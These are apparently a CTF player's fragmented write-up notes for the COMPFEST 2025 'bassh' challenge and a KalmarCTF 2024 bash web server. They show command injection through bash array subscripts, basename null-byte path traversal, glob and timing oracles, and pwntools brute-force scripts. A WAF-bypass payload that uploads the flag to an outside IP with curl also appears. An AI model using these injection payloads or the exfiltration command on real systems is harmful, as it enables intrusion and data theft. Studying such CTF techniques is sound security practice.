Command substitution ignore null byte in input, make us can do path traversal using -z options in basename
| Event Name | COMPFEST 2025 Quals |
| GitHub URL | - |
| Challenge Name | bassh |
Attachments
References
┌──(dimas㉿Dimas)-[~/documents/writeup/compfest]
└─$ ls $(basename -s .py -z .. / .. / .. / .. / .. / .. /)
bash: warning: command substitution: ignored null byte in input
bin home lib media root srv var wslCmgFoP wsljiHdFL wslmieAAa
boot init lib32 mnt run sys vmlinuz wslEdiBAa wslJmlgFL
dev initrd.img lib64 opt sbin tmp vmlinuz.old wslFbCppP wsljNLgEL
etc initrd.img.old lost+found proc SessionDB usr wslAEPkoP wslhmFbFL wslLICEDL
there’s some strange behaviour in bash version 5.0.3(1)-release (in version 5.2.26 doesn’t work) where array such as this will execute header_name
header_name='x[$(whoami)]'
testing[$header_name]="x"
this is vulnerable too from kalmarctf 2024
if [[ -v request_headers[$header_name] ]]; then
this works too in latest version
header='a[0$(uname>&2)]: asd'
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
request_headers[$header_name]=$header_value
if [[ -v request_headers[$header_name] ]]; then
echo "Invalid Content-Length"
fi
but it can’t be trigger if we declare the array before
set -e
declare -A request_headers
header='a[0$({touch,foo})]: asd'
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
request_headers[$header_name]=$header_value
if [[ -v request_headers[$header_name] ]]; then
echo "Invalid Content-Length"
fi
Note that arithmetic evaluation can be done by $((...))
(aka $[...] in bash or zsh) but
also depending on the shell in the let,
[/test,
declare/typeset/export..., return,
break, continue, exit,
printf, print builtins, array indices,
((..)) and [[...]] constructs to name a
few).
https://unix.stackexchange.com/questions/172103/security-implications-of-using-unsanitized-data-in-shell-arithmetic-evaluation
rce
set -e
declare -A request_headers
header='a[0$({touch,foo})]:'
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
request_headers[$header_name]=$header_value
if [ -v request_headers[$header_name] ]; then
echo "Invalid Content-Length"
fi
Glob
in
if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then abort 'Invalid protocol' fi
can leak file location/hidden path
https://ireland.re/posts/KalmarCTF_2024/#webbadass-server-for-hypertext
but you must know at least 2 path before?
from pwn import *known1 = 'f200d055a267ae56160198e0fcb47e5f'known2 = '26c3f25922f71af3372ac65a75cd3b11'total_payload = ''directory = ''def attempt(payload):
conn = remote('chal-kalmarc.tf',8080)
req = f"""HEAD /assets/f200d055a267ae56160198e0fcb47e5f/try_harder.tx /app/static/assets/{total_payload}{payload}*Host: chal-kalmarc.tf:8080 """.lstrip() + "\r\n" * 2 conn.send(req)
resp = conn.recvall()
return resp
for i in range(len(known1)):
flag = False charset = string.hexdigits[:-6]
charset = charset.replace(known2[i], '')
# case where known1[i] == target[i] payload = f"[{known1[i]}]" resp = attempt(payload)
if b'No such file or directory' in resp:
total_payload += payload
directory += known1[i]
print(directory)
continue for c in charset:
payload = f'[{c}{known1[i]}]' resp = attempt(payload)
if b'No such file or directory' in resp:
total_payload += payload
directory += c
print(directory)
flag = True break # no match by this point means known2[i] == target[i] if not flag:
total_payload += f"[{known1[i]}{known2[i]}]" directory += known2[i]
print(directory)
print(total_payload)
print(directory)
flag_payload = f"""GET /assets/{directory}/flag.txt HTTP/1.1Host: chal-kalmarc.tf:8080""".lstrip() + "\r\n" * 2conn = remote('chal-kalmarc.tf',8080)
conn.send(flag_payload)
print(conn.recvall())
another solution using word splitting
for i in 0 1 2 3 4 5 6 7 8 9 a b c d e f; do echo $i;(echo 'GET / !\ -d\ /app/static/assets/'9$i'*\ -o\ HTTP/1.0'; echo ; echo;) | nc chal-kalmarc.tf 8080 | head -n 1; done
from pwn import remote, context
import string
from concurrent.futures import ThreadPoolExecutor
def guess(prefix):
context.log_level = "error"
io = remote("chal-kalmarc.tf", 8080)
io.send(
f"GET /assets/../../../../ -f\ /app/static/assets/{prefix}*/flag.txt\ -a\ x\r\n\r\n".encode()
)
return b"400 Bad Request" in io.recvall()
chrs = string.hexdigits
prefix = ""
while len(prefix) < 32:
with ThreadPoolExecutor() as executor:
futures = [executor.submit(guess, prefix + c) for c in chrs]
for fut, c in zip(futures, chrs):
if fut.result():
prefix += c
print(prefix)
break
# printf 'GET /assets/../../../../app/static/assets/9df5256fe48859c91122cb92964dbd66/flag.txt HTTP/1.0\r\n\r\n' | nc chal-kalmarc.tf 8080
another solution
bash had read without -p so you could do
globbing and use that as an oracle to leak chars:
from pwn import *import time
import string
path = '9'while True:
found = False for char in 'abcdef0123456789':
conn = remote('chal-kalmarc.tf', '8080')
glob = b'/app/static/assets/' + path.encode() + char.encode() + b'*/../../../../../*/*/*/*/*/*' start = time.time()
conn.send(b'GET / HTTP/1.1\ ' + glob + b'\r\n\r\n\r\n')
conn.recv()
conn.close()
if time.time() - start > 0.5:
found = True path += char
break print(path)
if not found:
break
Bash Waf Bypass Payload
"|c${u}d .. && c${u}d .. && l${u}s && cu${u}rl -F "fi${u}le=@fl${u}ag.png" "108.137.34.7:5000
We can read /proc/<id>/fd/<num>
we can read the file descriptor using something like cat and etc